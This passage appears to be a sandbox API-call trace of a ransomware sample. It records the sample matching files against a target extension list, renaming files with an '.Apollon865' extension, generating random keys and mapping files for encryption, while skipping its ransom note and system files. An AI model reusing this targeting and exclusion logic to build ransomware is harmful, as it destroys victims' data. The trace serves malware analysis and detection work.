	[0064.753] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0064.753] lstrlenW (lpString="sqlite") returned 6
	[0064.753] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0064.753] lstrlenW (lpString="sqlite3") returned 7
	[0064.753] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0064.753] lstrlenW (lpString="sqlitedb") returned 8
	[0064.753] lstrlenW (lpString="xml") returned 3
	[0064.753] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0064.753] lstrlenW (lpString="$er") returned 3
	[0064.753] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0064.753] lstrlenW (lpString="4dd") returned 3
	[0064.753] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0064.753] lstrlenW (lpString="4dl") returned 3
	[0064.753] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0064.753] lstrlenW (lpString="^^^") returned 3
	[0064.753] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0064.753] lstrlenW (lpString="abs") returned 3
	[0064.753] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0064.753] lstrlenW (lpString="abx") returned 3
	[0064.753] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0064.753] lstrlenW (lpString="accdb") returned 5
	[0064.753] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0064.753] lstrlenW (lpString="accdc") returned 5
	[0064.753] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0064.753] lstrlenW (lpString="accde") returned 5
	[0064.753] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0064.753] lstrlenW (lpString="accdr") returned 5
	[0064.753] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0064.753] lstrlenW (lpString="accdt") returned 5
	[0064.753] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0064.753] lstrlenW (lpString="accdw") returned 5
	[0064.753] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0064.754] lstrlenW (lpString="accft") returned 5
	[0064.754] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0064.754] lstrlenW (lpString="adb") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0064.754] lstrlenW (lpString="adb") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0064.754] lstrlenW (lpString="ade") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0064.754] lstrlenW (lpString="adf") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0064.754] lstrlenW (lpString="adn") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0064.754] lstrlenW (lpString="adp") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0064.754] lstrlenW (lpString="alf") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0064.754] lstrlenW (lpString="ask") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0064.754] lstrlenW (lpString="btr") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0064.754] lstrlenW (lpString="cat") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0064.754] lstrlenW (lpString="cdb") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0064.754] lstrlenW (lpString="ckp") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0064.754] lstrlenW (lpString="cma") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0064.754] lstrlenW (lpString="cpd") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0064.754] lstrlenW (lpString="dacpac") returned 6
	[0064.754] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0064.754] lstrlenW (lpString="dad") returned 3
	[0064.754] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0064.754] lstrlenW (lpString="dadiagrams") returned 10
	[0064.754] lstrlenW (lpString="daschema") returned 8
	[0064.755] lstrlenW (lpString="db-journal") returned 10
	[0064.755] lstrlenW (lpString="db-shm") returned 6
	[0064.755] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0064.755] lstrlenW (lpString="db-wal") returned 6
	[0064.755] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0064.755] lstrlenW (lpString="dbc") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0064.755] lstrlenW (lpString="dbs") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0064.755] lstrlenW (lpString="dbt") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0064.755] lstrlenW (lpString="dbv") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0064.755] lstrlenW (lpString="dbx") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0064.755] lstrlenW (lpString="dcb") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0064.755] lstrlenW (lpString="dct") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0064.755] lstrlenW (lpString="dcx") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0064.755] lstrlenW (lpString="ddl") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0064.755] lstrlenW (lpString="dlis") returned 4
	[0064.755] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0064.755] lstrlenW (lpString="dp1") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0064.755] lstrlenW (lpString="dqy") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0064.755] lstrlenW (lpString="dsk") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0064.755] lstrlenW (lpString="dsn") returned 3
	[0064.755] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0064.755] lstrlenW (lpString="dtsx") returned 4
	[0064.755] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0064.755] lstrlenW (lpString="dxl") returned 3
	[0064.756] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0064.756] lstrlenW (lpString="eco") returned 3
	[0064.756] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0064.756] lstrlenW (lpString="ecx") returned 3
	[0064.756] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0064.756] lstrlenW (lpString="edb") returned 3
	[0064.756] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0064.756] lstrlenW (lpString="epim") returned 4
	[0064.756] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0064.756] lstrlenW (lpString="fcd") returned 3
	[0064.756] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0064.756] lstrlenW (lpString="fdb") returned 3
	[0064.756] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0064.756] lstrlenW (lpString="fic") returned 3
	[0064.756] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0064.756] lstrlenW (lpString="flexolibrary") returned 12
	[0064.756] lstrlenW (lpString="fm5") returned 3
	[0064.756] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0064.756] lstrlenW (lpString="fmp") returned 3
	[0064.756] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0064.757] lstrlenW (lpString="fmp12") returned 5
	[0064.757] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0064.757] lstrlenW (lpString="fmpsl") returned 5
	[0064.757] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0064.757] lstrlenW (lpString="fol") returned 3
	[0064.757] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0064.757] lstrlenW (lpString="fp3") returned 3
	[0064.757] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0064.757] lstrlenW (lpString="fp4") returned 3
	[0064.757] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0064.757] lstrlenW (lpString="fp5") returned 3
	[0064.757] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0064.758] lstrlenW (lpString="fp7") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0064.758] lstrlenW (lpString="fpt") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0064.758] lstrlenW (lpString="frm") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0064.758] lstrlenW (lpString="gdb") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0064.758] lstrlenW (lpString="gdb") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0064.758] lstrlenW (lpString="grdb") returned 4
	[0064.758] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0064.758] lstrlenW (lpString="gwi") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0064.758] lstrlenW (lpString="hdb") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0064.758] lstrlenW (lpString="his") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0064.758] lstrlenW (lpString="ib") returned 2
	[0064.758] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0064.758] lstrlenW (lpString="idb") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0064.758] lstrlenW (lpString="ihx") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0064.758] lstrlenW (lpString="itdb") returned 4
	[0064.758] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0064.758] lstrlenW (lpString="itw") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0064.758] lstrlenW (lpString="jet") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0064.758] lstrlenW (lpString="jtx") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0064.758] lstrlenW (lpString="kdb") returned 3
	[0064.758] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0064.758] lstrlenW (lpString="kexi") returned 4
	[0064.759] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0064.759] lstrlenW (lpString="kexic") returned 5
	[0064.759] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0064.759] lstrlenW (lpString="kexis") returned 5
	[0064.759] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0064.759] lstrlenW (lpString="lgc") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0064.759] lstrlenW (lpString="lwx") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0064.759] lstrlenW (lpString="maf") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0064.759] lstrlenW (lpString="maq") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0064.759] lstrlenW (lpString="mar") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0064.759] lstrlenW (lpString="marshal") returned 7
	[0064.759] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0064.759] lstrlenW (lpString="mas") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0064.759] lstrlenW (lpString="mav") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0064.759] lstrlenW (lpString="maw") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0064.759] lstrlenW (lpString="mdbhtml") returned 7
	[0064.759] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0064.759] lstrlenW (lpString="mdn") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0064.759] lstrlenW (lpString="mdt") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0064.759] lstrlenW (lpString="mfd") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0064.759] lstrlenW (lpString="mpd") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0064.759] lstrlenW (lpString="mrg") returned 3
	[0064.759] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0064.759] lstrlenW (lpString="mud") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0064.760] lstrlenW (lpString="mwb") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0064.760] lstrlenW (lpString="myd") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0064.760] lstrlenW (lpString="ndf") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0064.760] lstrlenW (lpString="nnt") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0064.760] lstrlenW (lpString="nrmlib") returned 6
	[0064.760] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0064.760] lstrlenW (lpString="ns2") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0064.760] lstrlenW (lpString="ns3") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0064.760] lstrlenW (lpString="ns4") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0064.760] lstrlenW (lpString="nsf") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0064.760] lstrlenW (lpString="nv") returned 2
	[0064.760] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0064.760] lstrlenW (lpString="nv2") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0064.760] lstrlenW (lpString="nwdb") returned 4
	[0064.760] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0064.760] lstrlenW (lpString="nyf") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0064.760] lstrlenW (lpString="odb") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0064.760] lstrlenW (lpString="odb") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0064.760] lstrlenW (lpString="oqy") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0064.760] lstrlenW (lpString="ora") returned 3
	[0064.760] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0064.760] lstrlenW (lpString="orx") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0064.761] lstrlenW (lpString="owc") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0064.761] lstrlenW (lpString="p96") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0064.761] lstrlenW (lpString="p97") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0064.761] lstrlenW (lpString="pan") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0064.761] lstrlenW (lpString="pdb") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0064.761] lstrlenW (lpString="pdm") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0064.761] lstrlenW (lpString="pnz") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0064.761] lstrlenW (lpString="qry") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0064.761] lstrlenW (lpString="qvd") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0064.761] lstrlenW (lpString="rbf") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0064.761] lstrlenW (lpString="rctd") returned 4
	[0064.761] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0064.761] lstrlenW (lpString="rod") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0064.761] lstrlenW (lpString="rodx") returned 4
	[0064.761] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0064.761] lstrlenW (lpString="rpd") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0064.761] lstrlenW (lpString="rsd") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0064.761] lstrlenW (lpString="sas7bdat") returned 8
	[0064.761] lstrlenW (lpString="sbf") returned 3
	[0064.761] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0064.762] lstrlenW (lpString="scx") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0064.762] lstrlenW (lpString="sdb") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0064.762] lstrlenW (lpString="sdc") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0064.762] lstrlenW (lpString="sdf") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0064.762] lstrlenW (lpString="sis") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0064.762] lstrlenW (lpString="spq") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0064.762] lstrlenW (lpString="te") returned 2
	[0064.762] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0064.762] lstrlenW (lpString="teacher") returned 7
	[0064.762] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0064.762] lstrlenW (lpString="tmd") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0064.762] lstrlenW (lpString="tps") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0064.762] lstrlenW (lpString="trc") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0064.762] lstrlenW (lpString="trc") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0064.762] lstrlenW (lpString="trm") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0064.762] lstrlenW (lpString="udb") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0064.762] lstrlenW (lpString="udl") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0064.762] lstrlenW (lpString="usr") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0064.762] lstrlenW (lpString="v12") returned 3
	[0064.762] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0064.762] lstrlenW (lpString="vis") returned 3
	[0064.763] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0064.763] lstrlenW (lpString="vpd") returned 3
	[0064.763] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0064.763] lstrlenW (lpString="vvv") returned 3
	[0064.763] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0064.763] lstrlenW (lpString="wdb") returned 3
	[0064.763] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0064.763] lstrlenW (lpString="wmdb") returned 4
	[0064.763] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0064.763] lstrlenW (lpString="wrk") returned 3
	[0064.763] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0064.763] lstrlenW (lpString="xdb") returned 3
	[0064.763] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0064.763] lstrlenW (lpString="xld") returned 3
	[0064.763] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0064.763] lstrlenW (lpString="xmlff") returned 5
	[0064.763] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0064.763] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.Apollon865") returned 132
	[0064.763] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab.apollon865"), dwFlags=0x1) returned 1
	[0064.765] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0064.766] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=821681) returned 1
	[0064.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0064.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0064.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0064.766] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0064.767] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0064.767] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.767] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc8cc0, lpName=0x0) returned 0x150
	[0064.770] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc8cc0) returned 0x3480000
	[0064.811] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0064.812] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0064.812] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0064.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0064.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0064.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0064.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.812] UnmapViewOfFile (lpBaseAddress=0x3480000) returned 1
	[0064.820] CloseHandle (hObject=0x150) returned 1
	[0064.821] CloseHandle (hObject=0x154) returned 1
	[0064.822] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0064.822] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0064.822] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0064.830] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f495bf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0064.830] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0064.832] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0064.832] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="Apollon865.txt.exe") returned 1
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".") returned 1
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="..") returned 1
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="windows") returned -1
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="bootmgr") returned 1
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="temp") returned 1
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="pagefile.sys") returned 1
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="boot") returned 1
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="ids.txt") returned 1
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="ntuser.dat") returned 1
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="perflogs") returned 1
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="MSBuild") returned 1
	[0064.850] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0064.850] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 121
	[0064.850] lstrcpyW (in: lpString1=0x119e6ea, lpString2="vc_runtimeMinimum_x86.msi" | out: lpString1="vc_runtimeMinimum_x86.msi") returned="vc_runtimeMinimum_x86.msi"
